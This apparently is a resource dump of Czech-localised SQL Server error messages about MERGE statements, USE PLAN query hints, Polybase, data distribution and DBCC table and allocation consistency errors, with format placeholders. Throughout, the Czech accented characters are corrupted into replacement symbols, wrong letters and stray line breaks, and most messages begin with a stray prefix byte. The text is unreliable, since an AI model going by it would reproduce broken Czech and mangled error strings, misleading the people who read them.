i DELETE pro stejn� Y�dek c�lov� tabulky v�cekr�t. UpYesnte klauzuli ON, abyste zajistili, ~e c�lov� Y�dek odpov�d� maxim�ln jednomu zdrojov�mu Y�dku nebo pou~ijte klauzuli GROUP BY k seskupen� Y�dko zdroje.

PY�kaz MERGE nen� platn�, pokud aktivuje ob akce ON DELETE SET NULL a ON UPDATE CASCADE pro omezuj�c� podm�nku referen
n� integrity. Upravte akce prov�dn� pY�kazem MERGE, abyste zajistili, ~e neaktivuje ob tyto akce pro omezuj�c� podm�nku referen
n� integrity.

�Procesor dotazo nemo~e vytvoYit pl�n. Tabulka %1!s! nen� k dispozici, proto~e je poakozena halda. PYepnte datab�zi do re~imu offline, abyste znovu vytvoYili tabulku a haldu a pot� znovu spusete procesor dotazo.

,Pl�n je neplatn�.

Nejde vytvoYit clusterovan� index %1!s! na zobrazen� %2!s!, proto~e neagreguje v�sledky. Zva~te, jestli nezmnit definici zobrazen�.

�Nejde vytvoYit clusterovan� index %1!s! na zobrazen� %2!s!, proto~e toto zobrazen� obsahuje odkaz na agregaci SUM vynulovateln�ho v�razu. Zva~te, jestli nepYidat novou agregaci COUNT_BIG pYes tento vynulovateln� v�raz.

�Chyba procesoru vnitYn�ch dotazo: Procesor dotazo zjistil bhem zpracov�n� f�ze vzd�len�ho dotazu neo
ek�vanou chybu.

�Chyba procesoru vnitYn�ch dotazo: Procesor dotazo zjistil bhem zpracov�n� neo
ek�vanou chybu. [%1!s!]

tPY�kaz SELECT s vyu~it�m kurzoru se nezdaYil, proto~e v pl�nu XML zadan�m pro pomocn� parametr USE PLAN nejsou zad�ny pl�ny Vyplnit ani Na
�st a minim�ln jeden z nich mus� b�t pY�tomen. Pro nejvyaa� pravdpodobnost �span�ho vynucen� pl�nu pou~ijte bez �prav pl�n kurzoru XML zachycen� v syst�mu SQL Server.

DNelze vynutit pl�n dotazu, proto~e prov�dc� pl�n XML zadan� v pomocn�m parametru USE PLAN obsahuje neplatnou specifikaci pY�kazu STAR JOIN. Zva~te zad�n� pomocn�ho parametru USE PLAN obsahuj�c�ho neupraven� prov�dc� pl�n XML vytvoYen� syst�mem SQL Server. To v�m dovol� pl�n vynutit.

HPl�n dotazu nelze nal�zt, proto~e optimalizace pYekro
ila po
et povolen�ch operac� pYi vyhled�v�n� pro pl�n zadan� v pomocn�m parametru USE PLAN. Nejprve zva~te odebr�n� pomocn�ho parametru USE PLAN. Potom v pY�pad nutnosti zva~te (1) aktualizaci statistiky, (2) pou~it� dala�ch pomocn�ch parametro, jako jsou JOIN, INDEX a OPTIMIZE FOR, (3) pYeps�n� dotazu nebo jeho rozdlen� na dva nebo v�ce oddlen�ch dotazo.

<Dotaz nelze kompilovat, proto~e se element <CursorStmt> vyskytuje v pl�nu XML zadan�m pro pou~it� pomocn�ho parametru USE PLAN, ale pomocn� parametr USE PLAN byl pou~it pro pY�kaz nepou~�vaj�c� kurzor. Zva~te pou~it� pl�nu XML z�skan�ho ze syst�mu SQL Server pro pY�kaz bez �prav.

�Vynucen� pl�nu kurzoru se nezdaYilo, proto~e vstupn� pl�n m� v�ce ne~ jeden uzel <Operation> s typem operace OperationType=%1!s!. Zva~te pou~it� pl�nu kurzoru XML zachycen�ho v syst�mu SQL Server bez �prav.

DPl�n kurzoru se nezdaYil, proto~e pYi pou~it� pomocn�ho parametru USE PLAN nelze vynutit jin� pl�n pro typ kurzoru ne~ FAST_FORWARD a STATIC. Zva~te odebr�n� pomocn�ho parametru USE PLAN a aktualizaci statistiky nebo pou~it� jin�ch pomocn�ch parametro pro ovlivnn� volby pl�nu dotazu.

�Vynucen� pl�nu kurzoru se nezdaYilo, proto~e v pl�nu XML zadan�m pro parametr USE PLAN chyb� v elementu <CursorPlan> vy~adovan� element %1!s!. Zva~te pou~it� pl�nu kurzoru XML zachycen�ho v syst�mu SQL Server bez �prav.

�Datab�ze %1!s! zadan� v pomocn�m parametru USE PLAN neexistuje. Zadejte existuj�c� datab�zi.

,Dotaz nelze kompilovat, proto~e pomocn� parametr USE PLAN je v konfliktu s pomocn�m parametrem %1!s!. Zva~te odebr�n� pomocn�ho parametru %2!s!.

Dotaz nelze kompilovat, proto~e pomocn� parametr USE PLAN je v konfliktu s parametrem SET %1!s! ON. Zva~te nastaven� parametru %2!s! OFF.

<Dotaz nelze kompilovat, proto~e kombinace LogicalOp = %1!s!, PhysicalOp = %2!s! a sub_element = %3!s! v elementu RelOp v pl�nu XML v pomocn�m parametru USE PLAN nen� platn�. Pou~ijte nam�sto toho rozpozn�vanou kombinaci. Zva~te pou~it� automaticky vytvoYen�ho pl�nu XML bez �prav.

pNelze spustit dotaz, proto~e pomocn� parametr USE PLAN je v konfliktu s pou~it�m distribuovan�ho dotazu nebo fulltextov�mi operacemi. Zva~te odebr�n� pomocn�ho parametru USE PLAN.

�Nelze spustit dotaz z dovodu nespr�vn vytvoYen�ho pl�nu XML v pomocn�m parametru USE PLAN. OvYte, zda je pl�n XML platn� a vhodn� pro vynucen� pl�nu. Podrobnja� informace naleznete na webu Knihy online.

pNelze spustit dotaz z dovodu nespr�vn vytvoYen�ho elementu ZaYazov�n� s nadYazen�m elementem RelOp s atributem NodeId %1!s! v pl�nu XML v pomocn�m parametru USE PLAN. OvYte, zda m� ka~d� nadYazen� element RelOp elementu ZaYazov�n� jedine
n� atribut NodeId a zda m� ka~d� element ZaYazov�n� bu jeden subelement RelOp, nebo atribut PrimaryNodeId, ale ne oba. Atribut PrimaryNodeId ZaYazov�n� mus� odkazovat na atribut NodeId existuj�c�ho elementu RelOp s subelementem ZaYazov�n�. Zva~te pou~it� neupraven�ho prov�dc�ho pl�nu XML jako pomocn� parametr USE PLAN.

4Nelze spustit dotaz, proto~e v pl�nu XML zadan�m pro pomocn� parametr USE PLAN, mus� m�t element %1!s! uzly %2!s! %3!s! jako podY�zen�, ale m� %4!s!.

�Procesor dotazo nemohl vytvoYit pl�n dotazu, proto~e pomocn� parametr USE PLAN obsahuje pl�n, u kter�ho nelze ovYit jeho platnost pro dotaz. Odeberte nebo nahrate pomocn� parametr USE PLAN. Pro nejvyaa� pravdpodobnost �span�ho vynucen� pl�nu ovYte, zda je v pomocn�m parametru USE PLAN zad�n pl�n, kter� byl automaticky vytvoYen syst�mem SQL Server pro stejn� dotaz.

Dotaz nelze spustit, proto~e obsahuje v�ce ne~ jeden pomocn� parametr USE PLAN. Pou~ijte maxim�ln jeden pomocn� parametr USE PLAN.

�Dotaz nebylo mo~n� spustit, proto~e indexy columnstore pro pameov optimalizovan� tabulky jsou v sou
asn� dob zak�zan�. PYepiate dotaz s pou~it�m pomocn�ho parametru indexu ur
uj�c�ho jin� index.

�PY�kaz DML narazil na chybj�c� polo~ku v ID indexu %1!s! na ID tabulky %2!s!, v datab�zi %3!s! kvoli interakci s jinou transakc�. Pokud budete na tuto chybu nar�~et i nad�le, zva~te,jestli nepou~�t opakovateln� 
ten� nebo vyaa� �roveH izolace.

�Doalo k chyb, proto~e oddlova
 okna je z�porn� nebo m� hodnotu NULL.

�Agrega
n� funkce, kter� jsou pou~ity s dotazy CUBE, ROLLUP a GROUPING SET, mus� zajistit slou
en� podcelko. Chcete-li odstranit tento probl�m, odeberte agrega
n� funkci, nebo dotaz zapiate pomoc� klauzul� UNION ALL a GROUP BY.

�V�cen�sobn� Yazen� agrega
n�ch funkc� ve stejn�m oboru zposobuje vz�jemn nekompatibiln� uspoY�d�n�.

Index %1!s! zadan� v pomocn�m parametru USE PLAN neexistuje. Zadejte existuj�c� index nebo vytvoYte index se zadan�m n�zvem.

�Nelze vynutit pl�n dotazu z dovodu pot�~� v indexovan�m zobrazen� odkazovan�m z dan�ho pl�nu.

�Chyba funkce Polybase: Form�t extern�ch dat se nepovedlo pYev�st na intern� form�t SQL Serveru.

�Chyba funkce Polybase: Nepovedlo se nastavit fyzick� rozlo~en� pro tabulku s dan�m rozlo~en�m extern� vyrovn�vac� pamti.

Byla zjiatna neplatn� data. Extern� poskytovatel vlo~il do tabulky sd�len� pamti hodnotu, kterou SQL Server nepodporuje.

hOperace DML se u extern�ch tabulek nepodporuj�.

`Dotaz nelze spustit. Existuje v�ce ne~ jedna klauzule TABLE HINT zadan� pro objekt %1!s!. Pou~ijte maxim�ln jednu takovou klauzuli TABLE HINT pro ka~d� odkaz na tabulku.

PDotaz nelze spustit. Klauzule TABLE HINT v klauzuli OPTION m� za n�sledek dvojzna
n� odkaz pro objekt %1!s!. Zva~te nam�sto toho pomocn� parametr dotazu USE PLAN.

Dotaz nelze spustit. S�mantika ovlivHuj�c� pomocn� parametr %1!s! se zobrazuje v klauzuli %2!s! objektu %3!s!, ale ne v odpov�daj�c� klauzuli %4!s!. ZmHte klauzuli OPTION (TABLE HINTS...), aby se s�mantika ovlivHuj�c� pomocn� parametry shodovala s klauzul� WITH.

�Dotaz nelze spustit. Objekt %1!s! je zad�n v klauzuli TABLE HINT, ale nen� pou~it v dotazu ani se neshoduje s aliasem zadan�m v dotazu. Odkazy na tabulku v klauzuli TABLE HINT se mus� shodovat s klauzul� WITH.

�Dotaz nelze spustit. Funkci s hodnotou tabulky nebo OPENROWSET %1!s! nelze zadat v klauzuli TABLE HINT.

�Vl�kno subproc bylo pYeruaeno pYi prov�dn� paraleln�ho dotazu.

lVstupn� parametr funkce %1!s! mus� b�t konstanta.

�Vstupn� parametr funkce percentilu je mimo povolen� rozsah [0, 1].

�Seznam ORDER BY r�mce okna RANGE nemo~e obsahovat v�razy typu LOB.

�Celkov� velikost seznamu ORDER BY r�mce okna RANGE je %1!s! b. Nejvta� podporovan� velikost je %2!s! b.

�Parametr Offset pro funkce Lag a Lead nemo~e obsahovat z�pornou hodnotu.

\Pomocn� parametry REDISTRIBUTE a REDUCE o
ek�vaj� jako prvn� podm�nku pYipojen� porovn�n� rovnosti sloupco s pY�mo porovnateln�mi typy. ZmHte dotaz a znovu ho spusete.

�Pomocn� parametry REPLICATE a REDUCE lze pou~�t pouze s vnitYn�mi spojen�mi. ZmHte dotaz a znovu jej spusete.

�Parametr oddlova
e pro STRING_AGG mus� b�t Yetzcov� liter�l nebo promnn�.

�Parametr oddlova
e pro STRING_AGG nesm� b�t typ velk�ch objekto, napY�klad VARCHAR(MAX) nebo NVARCHAR(MAX).

Operace se nezdaYila, proto~e online vytv�Yen� indexu pro tabulku bylo ukon
eno a zposobilo do
asnou nekonzistenci. Spusete dotaz znovu.

�Vstupn� parametr nemo~e b�t typu large object, jako tYeba VARBINARY(MAX).

(PYi odes�l�n� dat pYes s�e do jin� distribuce doalo k chyb 0x%1!s!. Zkuste dotaz spustit znovu. Pokud pot�~e potrvaj�, obraete se na podporu.

4Doalo k chyb pYi otev�r�n� pYipojen� z distribuce %1!s! distribuce %2!s!. Zkuste dotaz spustit znovu. Pokud pot�~e potrvaj�, obraete se na podporu.

 PYi odes�l�n� metadat pYes s�e do jin� distribuce doalo k chyb. Zkuste dotaz spustit znovu. Pokud pot�~e potrvaj�, obraete se na podporu.

`X�dek je pY�lia velk� a nejde ho pYesouvat mezi distribucemi. Velikost Y�dku v bajtech: %1!s!, maxim�ln� povolen� velikost Y�dku v bajtech : %2!s!. Obraete se na podporu.

$Doalo k chyb pYi 
ten� dat pYesunut�ch z jedn� distribuce do jin�. Zkuste dotaz spustit znovu. Pokud pot�~e potrvaj�, obraete se na podporu.

DAn error occurred when attempting to allocate memory in SQL Server by external extractor. Try to run the query again. If the error persists, contact support.

0Chyba 0x%1!s!   Nebylo mo~n� pYidlit prostor tempdb pYi transferu dat z jedn� distribuce do jin�. Pomoc najdete na https://aka.ms/monitor-temp-db.

Chyba tabulky: ID objektu %1!s! m� nekonzistentn� metadata. Tuto chybu nelze opravit a br�n� dala�mu zpracov�n� tohoto objektu.

pChyba pYidlen� pamti pYi zpracov�n� pY�kazu DBCC.

�Rozsah %1!s! v ID datab�ze %2!s! je pYidlen na str�nk�ch GAM %3!s! a SGAM %4!s!.

�Rozsah %1!s! v ID datab�ze %2!s! je pYidlen v�ce ne~ jedn�m objektem pYidlen�.

�Rozsah %1!s! v ID datab�ze %2!s! je ozna
en jako pYidlen� na str�nce GAM, ale str�nky SGAM a IAM ho pYidlen� nemaj�.

0Str�nka %1!s! v ID datab�ze %2!s! je pYidlena na str�nk�ch SGAM %3!s! a PFS %4!s!, ale nebyla pYidlena na ~�dn� str�nce IAM. PY�znaky PFS %5!s!.

�Prostorov� index, XML index a indexovan� zobrazen� %1!s! (ID objektu %2!s!) obsahuj� Y�dky, kter� nebyly vytvoYeny definic� zobrazen�. To nutn nepYedstavuje probl�m s integritou dat v t�to datab�zi. Dala� informace o odstraHov�n� pot�~� s chybami DBCC v indexovan�ch zobrazen�ch naleznete na webu Knihy online pro SQL Server.

�Prostorov� index, XML index a indexovan� zobrazen� %1!s! (ID objektu %2!s!) neobsahuj� vaechny Y�dky, kter� vytv�Y� definice zobrazen�. To nutn nepYedstavuje probl�m s integritou dat v t�to datab�zi. Dala� informace o odstraHov�n� pot�~� s chybami DBCC v prostorov�ch indexech, XML indexech a indexovan�ch zobrazen�ch naleznete na webu Knihy online pro SQL Server.

�Chyba tabulky: ID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s!, ID aloka
n� jednotky %4!s! (typ %5!s!), ID str�nky %6!s! obsahuje neplatn� ID str�nky v z�hlav� str�nky. Parametr PageId v z�hlav� str�nky = %7!s!.

�Str�nka %1!s! v ID datab�ze %2!s! je pYidlena k ID objektu %3!s!, ID indexu %4!s!, ID odd�lu %5!s!, ID aloka
n� jednotky %6!s! (typ %7!s!) a k ID objektu %8!s!, ID indexu %9!s!, ID odd�lu %10!s!, ID aloka
n� jednotky %11!s! (typ %12!s!).

�Rozsah %1!s! je pYidlen k objektu %2!s! a nejm�n k jednomu dala�mu.

�ID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s!, ID aloka
n� jednotky %4!s! (typ %5!s!): Po
et z�znamo v hlavi
ce (%6!s!) se neshoduje s po
tem z�znamo (%7!s!) nalezen�m na str�nce %8!s!.

�Operaci %1!s! nejde prov�st uvnitY u~ivatelsk� transakce. Ukon
ete transakci a opakujte pY�kaz.

�Kontrola byla ukon
ena. PYi shroma~ov�n� fakto byla zjiatna chyba. Datab�ze tempdb nem� pravdpodobn dostatek m�sta nebo je nekonzistentn� syst�mov� tabulka. Zkontrolujte pYedchoz� chyby.

|Chyba tabulky: Propojen� prot�naj�c� rozn� objekty: Str�nka %1!s!, pozice %2!s!, v ID objektu %3!s!, ID indexu %4!s!, ID odd�lu %5!s!, ID aloka
n� jednotky %6!s! (typ %7!s!), odkazuje na str�nku %8!s!, pozice %9!s!, ID objektu %10!s!, ID indexu %11!s!, ID odd�lu %12!s!, ID aloka
n� jednotky %13!s! (typ %14!s!).

�Chyba tabulky: Propojen� prot�naj�c� rozn� objekty: NadYazen� str�nka %1!s!, pozice %2!s! v objektu %3!s!, index %4!s!, odd�l %5!s!, aloka
n� jednotka %6!s! (%7!s!) a str�nka %8!s!->dala� v objektu %9!s!, index %10!s!, odd�l %11!s!, aloka
n� jednotka %12!s! (%13!s!), odkazuje na str�nku %14!s!, ale nejsou ve stejn�m objektu.

�ID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s!, ID aloka
n� jednotky %4!s! (typ %5!s!): Po
et z�stupn�ch z�znamo v hlavi
ce (%6!s!) se neshoduje s po
tem z�stupn�ch z�znamo (%7!s!) nalezen�m na str�nce %8!s!.

dID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s!, ID aloka
n� jednotky %4!s! (typ %5!s!). Str�nku %6!s! nelze zpracovat. Podrobnja� informace naleznete v dala�ch chyb�ch.

|ID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s!, ID aloka
n� jednotky %4!s! (typ %5!s!). Chyby nalezen� v datech mimo Y�dek s ID %6!s!, vlastnno z�znamem: %7!s!, identifikace: %8!s!

,Chyba datab�ze: Datab�ze %1!s! m� nekonzistentn� metadata. Tuto chybu nelze opravit a br�n� dala�mu zpracov�n� DBCC. Provete obnoven� ze z�lohy.

�Chyba tabulky: ID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s!, ID aloka
n� jednotky %4!s! (typ %5!s!). Nesoulad na �rovni B-stromu, str�nka %6!s!. �roveH %7!s! neodpov�d� �rovni %8!s! z nadYazen�ho objektu %9!s!.

�Nelze nal�zt ID skupiny souboro %1!s! v katalogu sys.filegroups pro datab�zi %2!s!.

�Chyba tabulky: ID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s!, ID aloka
n� jednotky %4!s! (typ %5!s!). N�zk� hodnota kl�
e na str�nce %6!s! (�roveH %7!s!) nen� >= hodnot kl�
e v nadYazen�m objektu %8!s!, pozici %9!s!.

Chyba tabulky: ID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s!, ID aloka
n� jednotky %4!s! (typ %5!s!). Vysok� hodnota kl�
e na str�nce %6!s! (�roveH %7!s!) nen� mena� ne~ n�zk� hodnota kl�
e v nadYazen�m objektu %8!s!, pozici %9!s! n�sleduj�c� str�nky %10!s!.

Chyba tabulky: ID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s!, ID aloka
n� jednotky %4!s! (typ %5!s!). PYedchoz� odkaz %6!s! na str�nce %7!s! neodpov�d� pYedchoz� str�nce %8!s!, kterou nadYazen� objekt %9!s!, pozice %10!s! o
ek�v� pro tuto str�nku.

�Chyba tabulky: ID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s!, ID aloka
n� jednotky %4!s! (typ %5!s!). Nesoulad propojen� Yetzu B-stromu. %6!s!->next = %7!s!, ale %8!s!->Prev = %9!s!.

�Chyba tabulky: ID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s!, ID aloka
n� jednotky %4!s! (typ %5!s!). Str�nka B-stromu %6!s! m� dva nadYazen� uzly: %7!s!, pozice %8!s! a %9!s!, pozice %10!s!.

<Chyba tabulky: Str�nka %1!s!, ID objektu %2!s!, ID indexu %3!s!, ID odd�lu %4!s!, ID aloka
n� jednotky %5!s! (typ %6!s!). Neo
ek�van� typ str�nky %7!s!.

hChyba tabulky: ID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s!, ID aloka
n� jednotky %4!s! (typ %5!s!), str�nka %6!s!. Test (%7!s!) se nezdaYil. Hodnoty jsou %8!s! a %9!s!.

pChyba tabulky: ID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s!, ID aloka
n� jednotky %4!s! (typ %5!s!), str�nka %6!s!. Test (%7!s!) se nezdaYil. Adresa 0x%8!s! nen� zarovnan�.

�Chyba tabulky: ID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s!, ID aloka
n� jednotky %4!s! (typ %5!s!), str�nka %6!s!. Test (%7!s!) se nezdaYil. Pozice %8!s!, posun 0x%9!s! je neplatn�.

�Chyba tabulky: ID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s!, ID aloka
n� jednotky %4!s! (typ %5!s!), str�nka %6!s!. Test (%7!s!) se nezdaYil. Test (%8!s!) se nezdaYil. Pozice %8!s!, posun 0x%9!s! se pYekr�v� s pYedchoz�m Y�dkem.

�Chyba tabulky: ID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s!, ID aloka
n� jednotky %4!s! (typ %5!s!), str�nka %6!s!. Test (%7!s!) se nezdaYil. Pozice %8!s!, Y�dek zasahuje do voln�ho prostoru na adrese 0x%9!s!.

�Chyba tabulky: ID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s!, ID aloka
n� jednotky %4!s! (typ %5!s!), str�nka (%6!s!:%7!s!), Y�dek %8!s!. Test (%9!s!) se nezdaYil. Hodnoty jsou %10!s! a %11!s!.

�Chyba tabulky: ID objektu %1!s!, ID indexu %2!s! bude optovn vytvoYeno.

LChyba tabulky: Aloka
n� str�nka %1!s! m� neplatn� hodnoty hlavi
ky str�nky %2!s!. Typ je %3!s!. Zkontrolujte typ, ID aloka
n� jednotky a ID str�nky pro str�nku.

�Chyba tabulky: V�ce str�nek IAM pro ID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s!, ID aloka
n� jednotky %4!s! (typ %5!s!) obsahuje pYidlen� pro stejn� interval. Str�nky IAM %6!s! a %7!s!.

Chyba datab�ze: Str�nka %1!s! je ozna
ena pomoc� nespr�vn�ho typu ve str�nce PFS %2!s!. Stav PFS 0x%3!s!, o
ek�v�n 0x%4!s!.

�Opraveno: %1!s!, chyb pYidlen�: %2!s!, chyb konzistence: %3!s!   bez pYidru~en� k ~�dn�mu jednotliv�mu objektu.

hChyba tabulky: tabulka %1!s! (ID %2!s!). X�dek dat nem� odpov�daj�c� Y�dek indexu v indexu %3!s! (ID %4!s!). Mo~n� chybj�c� nebo neplatn� kl�
e pro Y�dek indexu odpov�daj�c�:

<Chyba tabulky: tabulka %1!s! (ID %2!s!). X�dek indexu v indexu %3!s! (ID %4!s!) neodpov�d� ~�dn�mu Y�dku dat. Mo~n� neplatn� kl�
e nebo kl�
e nav�c pro:

�X�dek dat (%1!s!:%2!s!:%3!s!) identifikovan� prostYednictv�m (%4!s!) s hodnotami indexu %5!s!.

�X�dek indexu (%1!s!:%2!s!:%3!s!) s hodnotami (%4!s!) ukazuj�c� na Y�dek dat s identifikac� (%5!s!).

(Chyba tabulky: Str�nka IAM %1!s! pro ID objektu %2!s!, ID indexu %3!s!, ID odd�lu %4!s!, ID aloka
n� jednotky %5!s! (typ %6!s!), je propojena v Yetzu IAM pro ID objektu %7!s!, ID indexu %8!s!, ID odd�lu %9!s!, ID aloka
n� jednotky %10!s! (typ %11!s!) se str�nkou %12!s!.

tChyba tabulky: ID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s!, ID aloka
n� jednotky %4!s! (typ %5!s!). Str�nka %6!s!, pozice %7!s!, sloupec %8!s! nen� platn� komplexn� sloupec.

�Chyba tabulky: ID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s!, ID aloka
n� jednotky %4!s! (typ %5!s!). Uzel dat mimo Y�dek na str�nce %6!s!, pozici %7!s!, ID textu %8!s! neodpov�d� sv�mu odkazu na str�nce %9!s!, pozici %10!s!.

�Chyba tabulky: ID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s!, ID aloka
n� jednotky %4!s! (typ %5!s!). Uzel dat mimo Y�dek na str�nce %6!s!, pozici %7!s!, ID textu %8!s! m� nespr�vn� typ uzlu %9!s!.

�Chyba tabulky: ID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s!, ID aloka
n� jednotky %4!s! (typ %5!s!). Uzel dat mimo Y�dek na str�nce %6!s!, pozici %7!s!, ID textu %8!s! m� typ %9!s!. Nelze jej um�stit na str�nku typu %10!s!.

�Chyba tabulky: ID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s!, ID aloka
n� jednotky %4!s! (typ %5!s!). Uzel dat mimo Y�dek na str�nce %6!s!, pozici %7!s!, ID textu %8!s! nen� odkazov�n.

Chyba tabulky: ID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s!, ID aloka
n� jednotky %4!s! (typ %5!s!). Uzel dat mimo Y�dek na str�nce %6!s!, pozici %7!s!, ID textu %8!s! je odkazov�n str�nkou %9!s!, pozic� %10!s!, ale nebyl nalezen ve vyhled�v�n�.

�Str�nku %1!s! nelze na
�st a opatYit z�padkou typu %2!s!. Operace %3!s! se nezdaYila.

�Doalo k vnitYn� chyb v DBCC, kter� zabr�nila dala�mu zpracov�n�. Kontaktujte slu~bu z�kaznick� podpory.

DChyba tabulky: %1!s! str�nka %2!s! (ID objektu %3!s!, ID indexu %4!s!, ID odd�lu %5!s!, ID aloka
n� jednotky %6!s! (typ %7!s!) je mimo rozsah t�to datab�ze.

�Chyba tabulky: Chyba propojen� Yetzu IAM: ID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s!, ID aloka
n� jednotky %4!s! (typ %5!s!). N�sleduj�c� str�nka pro str�nku IAM %6!s! je %7!s!, ale pYedchoz� odkaz pro str�nku %8!s! je %9!s!.

�Chyba Y�dku: ID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s!, ID aloka
n� jednotky %4!s! (typ %5!s!), ID str�nky %6!s!, ID Y�dku %7!s!. Sloupec %8!s! byl vytvoYen jako typ NOT NULL, ale obsahuje na Y�dku hodnotu NULL.

PYesmrovan� Y�dek neodpov�d�: ID objektu %1!s!, ID odd�lu %2!s!, ID aloka
n� jednotky %3!s! (typ %4!s!), str�nka %5!s!, pozice %6!s! ukazuje na str�nku pYesmrovan�ho Y�dku %7!s!, pozici %8!s!. PYesmrovan� Y�dek ukazuje zpt na str�nku %9!s!, pozici %10!s!.

LNa pYesmrovan� Y�dek odkazuje v�ce ne~ jeden Y�dek. ID objektu %1!s!, ID odd�lu %2!s!, ID aloka
n� jednotky %3!s! (typ %4!s!), str�nka %5!s!, pozice %6!s! nespr�vn ukazuje na str�nku pYesmrovan�ho Y�dku %7!s!, pozici %8!s!., kter� spr�vn odkazuje zpt na str�nku %9!s!, pozici %10!s!.

`Zpracov�n� pY�kazu CHECKTABLE pro ID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s!, ID aloka
n� jednotky %4!s! (typ %5!s!) zjistilo dvakr�t str�nku %6!s!, pozici %7!s!.

Chyba tabulky: ID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s!, ID aloka
n� jednotky %4!s! (typ %5!s!). Na uzel dat mimo Y�dek na str�nce %6!s!, pozici %7!s!, ID textu %8!s! je odkazov�no str�nkou %9!s!, pozic� %10!s! a str�nkou %11!s!, pozic� %12!s!.

Chyba tabulky: ID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s!, ID aloka
n� jednotky %4!s! (typ %5!s!). Str�nka %6!s! nebyla v prohled�v�n� nalezena, a
koli nadYazen� str�nka %7!s! a pYedchoz� str�nka %8!s! na ni odkazuj�. Zkontrolujte jak�koli pYedchoz� chyby.

@Chyba tabulky: ID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s!, ID aloka
n� jednotky %4!s! (typ %5!s!). NadYazen� uzel pro str�nku %6!s! nebyl nalezen.

�Chyba tabulky: ID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s!, ID aloka
n� jednotky %4!s! (typ %5!s!). Str�nce %6!s! chyb� odkaz z pYedchoz� str�nky %7!s!. Mo~e b�t probl�m v propojen� Yetzu.

�Chyba tabulky: ID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s!, ID aloka
n� jednotky %4!s! (typ %5!s!). Str�nce %6!s! chyb� odkazy z nadYazen�ho (nezn�m�) a pYedchoz�ho (str�nka %7!s!) uzlu. Mo~e b�t chybn� koYenov� z�znam v syst�mov�m katalogu.

�Chyba tabulky: ID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s!, ID aloka
n� jednotky %4!s! (typ %5!s!). Str�nka indexov�ho uzlu %6!s!, pozice %7!s! odkazuje na podY�zenou str�nku %8!s! a pYedchoz� podY�zenou str�nku %9!s!. Ty ale nebyly nalezeny.

Chyba tabulky: ID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s!, ID aloka
n� jednotky %4!s! (typ %5!s!). Ukazatel next objektu %6!s! odkazuje na str�nku %7!s!. Nebyla nalezena str�nka %8!s! ani jej� nadYazen� str�nka. Mo~e b�t chyba v propojen� Yetzu.

�Chyba tabulky: Propojen� prot�naj�c� rozn� objekty. Str�nka %1!s!->dala� v ID objektu %2!s!, ID indexu %3!s!, ID odd�lu %4!s!, ID aloka
n� jednotky %5!s! (typ %6!s!) odkazuje na str�nku %7!s! v ID objektu %8!s!, ID indexu %9!s!, ID odd�lu %10!s!, ID aloka
n� jednotky %11!s! (typ %12!s!), ale nen� ve stejn�m indexu.

�Chyba tabulky: ID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s!. X�dek by ml b�t v 
�sle odd�lu %4!s!, ale byl nalezen v 
�sle odd�lu %5!s!. Mo~n� neplatn� kl�
e nebo kl�
e nav�c pro:

�Nelze nal�zt soubor %1!s! pro datab�zi %2!s! v katalogu sys.database_files. Soubor neexistuje nebo byl vyYazen.

PPro ID objektu %2!s! bylo nalezeno pY�lia mnoho chyb (%1!s!). Chcete-li zobrazit vaechny chybov� zpr�vy, spusete znovu pY�kaz pomoc� parametru WITH ALL_ERRORMSGS.

tNen� k dispozici ~�dn� n�povda k pY�kazu DBCC %1!s!.

�X�dek (%1!s!:%2!s!:%3!s!) identifikovan� podle polo~ky (%4!s!).

d0x%1!s! a~ 0x%2!s! nen� platn� rozsah adres.

|Zkontrolujte katalogovou zpr�vu %1!s!, stav %2!s!: %3!s!

`ID objektu %1!s!, str�nka pYesmruj�c�ho Y�dku %2!s!, pozice %3!s! odkazuje na str�nku %4!s!, pozici %5!s!. Nebyl nalezen c�lov� Y�dek pYesmrov�n�. Mo~n� chyba pYidlen�.

�ID objektu %1!s!, str�nka c�lov�ho Y�dku pYesmrov�n� %2!s!, pozice %3!s! m� b�t odk�z�no str�nkou pYesmruj�c�ho Y�dku %4!s!, pozic� %5!s!. Nebyl nalezen pYesmruj�c� Y�dek. Mo~n� chyba pYidlen�.

4Syst�mov� tabulka %1!s! (ID objektu %2!s!, ID indexu %3!s!) je ve skupin souboro %4!s!. Vaechny syst�mov� tabulky mus� b�t ve skupin souboro %5!s!.

�Str�nka indexov� aloka
n� mapy (IAM) %1!s! pro ID objektu %2!s!, ID indexu %3!s!, ID odd�lu %4!s!, ID aloka
n� jednotky %5!s! (typ %6!s!) ovl�d� str�nky ve skupin souboro %7!s!, kter� by mly b�t ve skupin souboro %8!s!.

tZpr�va slu~by Service Broker %1!s!, stav %2!s!: %3!s!

